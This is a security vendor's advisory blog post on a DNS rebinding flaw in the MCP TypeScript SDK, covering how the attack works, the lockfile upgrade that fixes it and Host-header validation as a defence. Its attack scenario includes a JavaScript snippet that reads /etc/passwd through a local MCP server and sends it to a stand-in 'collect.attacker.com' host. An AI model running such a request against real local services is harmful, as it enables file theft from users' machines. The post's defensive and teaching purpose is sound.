Back to Blog
high SEVERITY7 min read

How DNS rebinding happens in Node.js MCP TypeScript SDK and how to fix it

The `@modelcontextprotocol/sdk` package (version 0.5.0) shipped without DNS rebinding protection enabled by default, leaving any Node.js application that hosts an MCP server exposed to cross-origin attacks from malicious websites. Upgrading to version 1.24.0 enables host-header validation and brings a suite of new security dependencies—including `cors`, `express-rate-limit`, and `jose`—that collectively close the attack surface. This fix was identified and patched automatically by Orbis AppSec b

O
By Orbis AppSec
Published July 28, 2026Reviewed July 28, 2026

Answer Summary

CVE-2025-66414 is a DNS rebinding vulnerability (CWE-346: Origin Validation Error) in the Model Context Protocol TypeScript SDK (`@modelcontextprotocol/sdk`). In versions prior to 1.24.0, the SDK's HTTP server did not validate the `Host` header, allowing a malicious website to remap its domain to `127.0.0.1` and issue requests to the locally-running MCP server as if they originated from the same origin. The fix is to upgrade `@modelcontextprotocol/sdk` from `^0.5.0` to `^1.24.0`, which enables DNS rebinding protection by default and adds `cors`, `express-rate-limit`, and `jose` as enforced dependencies.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixUpgrade `@modelcontextprotocol/sdk` from `^0.5.0` to `^1.24.0`, which enables DNS rebinding protection by default
riskA malicious website can bypass the Same-Origin Policy and send authenticated requests to a locally-running MCP server
languageTypeScript / Node.js
root cause`@modelcontextprotocol/sdk` 0.5.0 did not validate the HTTP `Host` header, leaving the server open to DNS rebinding attacks
vulnerabilityDNS Rebinding (missing Host header validation)

How DNS Rebinding Happens in Node.js MCP TypeScript SDK and How to Fix It

Introduction

The package-lock.json of this project quietly pinned @modelcontextprotocol/sdk at version 0.5.0—a version that ships an HTTP-based MCP server with no DNS rebinding protection enabled by default. That single missing control means any browser tab open to a malicious website could pivot through the victim's own browser to interact with the locally-running MCP server, bypassing the Same-Origin Policy entirely.

This is CVE-2025-66414, rated HIGH severity, and it was automatically detected and patched by Orbis AppSec before it could be exploited.


The Vulnerability Explained

What Is DNS Rebinding?

DNS rebinding is a classic but persistently dangerous attack class. Here's the sequence:

  1. A user visits evil.attacker.com. The attacker's DNS server responds with the attacker's real IP and a very short TTL (e.g., 1 second).
  2. After the TTL expires, the attacker's DNS server re-resolves evil.attacker.com to 127.0.0.1 (or another local address).
  3. The browser's Same-Origin Policy checks the domain, not the IP. Since the domain hasn't changed, the browser happily allows JavaScript on evil.attacker.com to make fetch() calls to http://evil.attacker.com:<port>.
  4. Those requests now land on whatever is listening on localhost:<port>—in this case, the MCP server.

The attacker's JavaScript can now read responses, issue tool-call requests, and interact with any capability the MCP server exposes—all without the user's knowledge.

The Vulnerable Code Pattern

Before the fix, package-lock.json locked the SDK to version 0.5.0:

// BEFORE — vulnerable
"node_modules/@modelcontextprotocol/sdk": {
  "version": "0.5.0",
  "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-0.5.0.tgz",
  "integrity": "sha512-RXgulUX6ewvxjAG0kOpLMEdXXWkzWgaoCGaA2CwNW7cQCIphjpJhjpHSiaPdVCnisjRF/0Cm9KWHUuIoeiAblQ==",
  "license": "MIT",
  "dependencies": {
    "content-type": "^1.0.5",
    "raw-body": "^3.0.0",
    "zod": "^3.23.8"
  }
}

Notice what's absent from the dependency list: there is no cors, no express-rate-limit, no jose, and no express. The SDK's HTTP transport layer in 0.5.0 accepted connections and processed requests without validating the Host header. Any request that arrived on the listening port was treated as legitimate, regardless of where the browser thought it came from.

The Real-World Attack Scenario

Imagine a developer running an MCP-powered coding assistant locally on port 3000. They open their browser to http://evil.attacker.com while the assistant is running. Here's what happens:

  1. evil.attacker.com loads malicious JavaScript.
  2. The attacker's DNS TTL expires and evil.attacker.com is remapped to 127.0.0.1.
  3. The JavaScript issues:
    javascript fetch("http://evil.attacker.com:3000/mcp", { method: "POST", body: JSON.stringify({ tool: "read_file", path: "/etc/passwd" }) }).then(r => r.text()).then(data => { // Exfiltrate data to attacker's real server fetch("https://collect.attacker.com/steal?d=" + btoa(data)); });
  4. The browser sends this request to 127.0.0.1:3000. The MCP server in version 0.5.0 processes it without question.
  5. The attacker receives the file contents.

For an MCP server with access to file systems, databases, or external APIs, this is a critical data exfiltration path.


The Fix

What Changed

The fix upgrades @modelcontextprotocol/sdk from ^0.5.0 to ^1.24.0:

// AFTER — fixed
"node_modules/@modelcontextprotocol/sdk": {
  "version": "1.24.0",
  "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.24.0.tgz",
  "integrity": "sha512-D8h5KXY2vHFW8zTuxn2vuZGN0HGrQ5No6LkHwlEA9trVgNdPL3TF1dSqKA7Dny6BbBYKSW/rOBDXdC8KJAjUCg==",
  "license": "MIT",
  "dependencies": {
    "ajv": "^8.17.1",
    "ajv-formats": "^3.0.1",
    "content-type": "^1.0.5",
    "cors": "^2.8.5",
    "cross-spawn": "^7.0.5",
    "eventsource": "^3.0.2",
    "eventsource-parser": "^3.0.0",
    "express": "^5.0.1",
    "express-rate-limit": "^7.5.0",
    "jose": "^6.1.1",
    "pkce-challenge": "^5.0.0",
    "raw-body": "^3.0.0",
    "zod": "^3.25 || ^4.0",
    "zod-to-json-schema": "^3.25.0"
  }
}

Why Each New Dependency Matters

The jump from 3 dependencies to 13 isn't bloat—each addition closes a specific attack surface:

New Dependency Security Role
cors Enforces cross-origin request policies at the HTTP layer
express-rate-limit Prevents brute-force and enumeration attacks against the MCP endpoint
jose Handles JWT/JWK-based authentication for OAuth flows
pkce-challenge Implements PKCE for secure OAuth 2.0 authorization code flows
ajv + ajv-formats Validates incoming JSON payloads against strict schemas
express Provides a mature HTTP server with well-tested middleware support

Most critically, version 1.24.0 introduces DNS rebinding protection enabled by default. The SDK now validates the Host header on every incoming request and rejects connections whose host does not match the configured allowed origins. This directly neutralizes the DNS rebinding attack vector described above.

Before vs. After

- "@modelcontextprotocol/sdk": "^0.5.0",
+ "@modelcontextprotocol/sdk": "^1.24.0",

This two-character version bump in package.json translates to:
- Host header validation on by default
- CORS enforcement at the transport layer
- Rate limiting to prevent abuse
- Authenticated MCP sessions via JOSE/PKCE
- Schema validation on all incoming tool-call payloads


Prevention & Best Practices

1. Always Validate the Host Header on Local HTTP Servers

Any service that listens on localhost and processes HTTP requests should explicitly validate the Host header. In Express, this looks like:

app.use((req, res, next) => {
  const allowedHosts = ['localhost', '127.0.0.1', '::1'];
  const host = req.hostname;
  if (!allowedHosts.includes(host)) {
    return res.status(403).json({ error: 'Forbidden: invalid host' });
  }
  next();
});

2. Keep SDK Versions Current — Especially for Security-Sensitive Libraries

The MCP SDK is a network-facing component. A version difference of 0.5.01.24.0 represents over a year of security hardening. Treat major version gaps in network libraries as high-priority upgrade candidates.

3. Use Dependency Scanning in CI

Tools like Trivy, Snyk, and npm audit can flag known CVEs in package-lock.json before they reach production. This exact vulnerability was detected by Trivy's rule CVE-2025-66414.

# Run Trivy against your Node.js project
trivy fs --security-checks vuln .

# Or use npm audit
npm audit --audit-level=high

4. Don't Rely on CORS Alone for Local Services

CORS is a browser-enforced policy, not a server-enforced one. DNS rebinding bypasses CORS because the browser believes the request is same-origin. Host header validation is the correct server-side control.

5. Reference Standards

  • OWASP: DNS Rebinding
  • CWE-346: Origin Validation Error — failure to verify that a request comes from an expected origin
  • OWASP API Security Top 10: API8:2023 — Security Misconfiguration (default-insecure configurations)

Key Takeaways

  • @modelcontextprotocol/sdk 0.5.0 had no Host header validation, making every locally-running MCP server a DNS rebinding target from any browser tab.
  • DNS rebinding bypasses CORS—the browser's Same-Origin Policy checks the domain, not the resolved IP, so CORS headers alone are insufficient protection for local services.
  • The upgrade to 1.24.0 is not just a version bump—it adds 10 new dependencies (cors, express, express-rate-limit, jose, pkce-challenge, ajv, etc.) that collectively harden the MCP transport layer.
  • package-lock.json is a security artifact, not just a build reproducibility file. Pinned vulnerable versions in lockfiles are real vulnerabilities, not theoretical ones.
  • MCP servers often have elevated privileges (file access, API keys, tool execution)—a DNS rebinding attack against an MCP server is not just a curiosity; it can lead to full data exfiltration or remote code execution depending on the tools registered.

How Orbis AppSec Detected This

  • Source: Any browser tab navigating to an attacker-controlled domain while the MCP server is running locally
  • Sink: The HTTP request handler in @modelcontextprotocol/sdk 0.5.0's transport layer, which accepted all incoming connections without Host header validation
  • Missing control: No Host header allowlist, no CORS enforcement at the transport layer, no origin validation of any kind in the SDK's default configuration
  • CWE: CWE-346 — Origin Validation Error
  • Fix: Upgraded @modelcontextprotocol/sdk from ^0.5.0 to ^1.24.0 in package.json and package-lock.json, enabling DNS rebinding protection and adding cors, express-rate-limit, and jose as enforced dependencies

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2025-66414 is a reminder that security defaults matter enormously in network-facing SDKs. The MCP TypeScript SDK's decision to ship version 0.5.0 without DNS rebinding protection enabled by default created a silent, high-severity vulnerability in every application that used it to host an MCP server. The fix—upgrading to 1.24.0—is straightforward, but only if you know the vulnerability exists.

Automated scanning with tools like Trivy, combined with automated remediation via Orbis AppSec, means vulnerabilities like this can be detected and patched before they ever reach a production environment. Keep your lockfiles up to date, validate Host headers on local HTTP services, and never assume that "localhost only" means "safe from the browser."


References

Frequently Asked Questions

What is DNS rebinding?

DNS rebinding is an attack where a malicious website first resolves its domain to its own server, then quickly re-resolves it to a victim's local IP (e.g., 127.0.0.1). The browser's Same-Origin Policy is bypassed because the domain hasn't changed, allowing the attacker's JavaScript to make requests to the local server.

How do you prevent DNS rebinding in Node.js?

Validate the `Host` header on every incoming HTTP request and reject any request whose `Host` value is not an explicitly allowed hostname. Libraries like `express` combined with host-header middleware, or SDK-level protection as introduced in `@modelcontextprotocol/sdk` 1.24.0, handle this automatically.

What CWE is DNS rebinding?

DNS rebinding is classified under CWE-346 (Origin Validation Error), which covers failures to properly verify that a request originates from an expected, trusted source.

Is CORS enough to prevent DNS rebinding?

No. CORS headers are set by the server and respected by browsers, but DNS rebinding tricks the browser into thinking the malicious domain *is* the local server. By the time the CORS check happens, the browser already considers the request same-origin. Explicit `Host` header validation is required as a separate control.

Can static analysis detect DNS rebinding?

Yes, to a degree. Tools like Trivy (which flagged this exact CVE) can detect known-vulnerable package versions. Semgrep rules can also flag HTTP servers that lack host-header validation middleware, making it detectable before deployment.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5

Related Articles

high

How DNS rebinding attacks happen in Node.js MCP and how to fix it

The Model Context Protocol (MCP) TypeScript SDK in version 1.17.1 lacked DNS rebinding protection, leaving applications vulnerable to a sophisticated network-level attack. By upgrading to version 1.24.0, DNS rebinding protection is now enabled by default, preventing attackers from exploiting the SDK's HTTP request handling to access internal resources or bypass security controls.

high

How missing Dependabot cooldown periods happen in GitHub Actions configuration and how to fix it

A high-severity vulnerability was discovered in a repository's `.github/dependabot.yml` configuration file that lacked a cooldown period for dependency updates. Without this protection, Dependabot could immediately propose updates to newly published packages, potentially introducing malicious or unstable code into the project before the security community has time to identify threats.

high

How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

CVE-2026-42033 is a high-severity prototype pollution vulnerability in axios versions prior to 1.15.1 that could allow attackers to hijack HTTP transport configuration through malicious input. This vulnerability affects any Node.js application using vulnerable axios versions to make HTTP requests. The fix involves upgrading axios to version 1.15.1, which patches the prototype pollution flaw and prevents transport layer attacks.

high

How broken access control via supply chain dependency poisoning happens in TYPO3 with Dependabot and how to fix it

A missing cooldown configuration in Dependabot allowed the automatic proposal of newly published (and potentially malicious) package versions, creating a supply chain attack vector that could have facilitated the exploitation of CVE-2026-47343 — a broken access control vulnerability in TYPO3's File Abstraction Layer. The fix adds a 7-day cooldown period to all package ecosystem entries in `.github/dependabot.yml`, ensuring newly published packages are vetted by the community before being propose

high

How Denial of Service via excessive memory allocation happens in Node.js adm-zip and how to fix it

A high-severity Denial of Service vulnerability (CVE-2026-39244) was discovered in adm-zip version 0.5.16, allowing attackers to crash Node.js applications by sending specially crafted ZIP files that trigger excessive memory allocation. The fix involves upgrading to adm-zip 0.6.0, which implements proper bounds checking during ZIP file decompression.

high

How missing Dependabot cooldown happens in Node.js supply chain configuration and how to fix it

A high-severity supply chain vulnerability was discovered in a Node.js library's `.github/dependabot.yml` configuration file. Without a cooldown period, Dependabot could immediately propose updates to newly published (and potentially malicious) package versions, exposing downstream consumers to supply chain attacks. The fix adds a 7-day `cooldown` block to both the `npm` and `github-actions` ecosystem entries.